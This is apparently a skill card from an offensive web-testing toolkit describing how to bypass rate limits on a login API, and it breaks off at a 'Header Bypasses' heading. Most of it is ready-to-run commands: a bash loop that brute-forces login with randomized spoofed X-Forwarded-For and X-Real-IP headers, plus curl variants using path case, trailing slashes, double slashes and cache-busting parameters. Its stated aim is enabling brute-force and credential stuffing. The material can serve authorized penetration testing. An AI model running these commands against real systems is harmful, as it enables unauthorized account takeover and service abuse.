attack-rate-limit-bypass

name	attack-rate-limit-bypass
description	Rate limit bypass testing — XFF rotation, case variation, method switching, header manipulation
category	web-application
version	1.0
author	cyberstrike-official
tags	["rate-limit","brute-force","web","bypass","attack"]
tech_stack	["web"]
cwe_ids	["CWE-307","CWE-770"]
chains_with	["attack-race-condition"]
prerequisites	[]
severity_boost	{"attack-race-condition":"Rate limit bypass + race condition = unlimited exploitation"}

Rate Limit Bypass

Objective

Bypass rate limiting mechanisms to enable brute-force attacks, credential stuffing, or abuse of rate-limited functionality.

Testing Methodology

Phase 1: Automated Bypass Testing

# Full bypass test suite (5 techniques)
attack_script rate_limit_bypass "https://TARGET/api/login" \
  --method POST \
  -H "Content-Type:application/json" \
  -d '{"email":"[e-mail]","password":"test"}' \
  --count 20 \
  --json-output

Tests automatically:

1. X-Forwarded-For IP rotation
2. URL case variation
3. HTTP method switching
4. Random query parameter injection
5. Header-based bypasses

Phase 2: X-Forwarded-For Rotation

# Rotate source IP via headers
for i in $(seq 1 50); do
  IP="$((RANDOM%254+1)).$((RANDOM%254+1)).$((RANDOM%254+1)).$((RANDOM%254+1))"
  curl -s -o /dev/null -w "%{http_code} " \
    -X POST https://TARGET/api/login \
    -H "X-Forwarded-For: $IP" \
    -H "X-Real-IP: $IP" \
    -H "X-Client-IP: $IP" \
    -d '{"email":"[e-mail]","password":"guess"}'
done

Phase 3: URL Manipulation

# Path case variation
curl https://TARGET/API/LOGIN
curl https://TARGET/Api/Login

# Trailing slash/dot
curl https://TARGET/api/login/
curl https://TARGET/api/login/.

# Double slash
curl https://TARGET//api//login

# Random query params (new cache key)
curl "https://TARGET/api/login?_=$(date +%s)"

Phase 4: Header Bypasses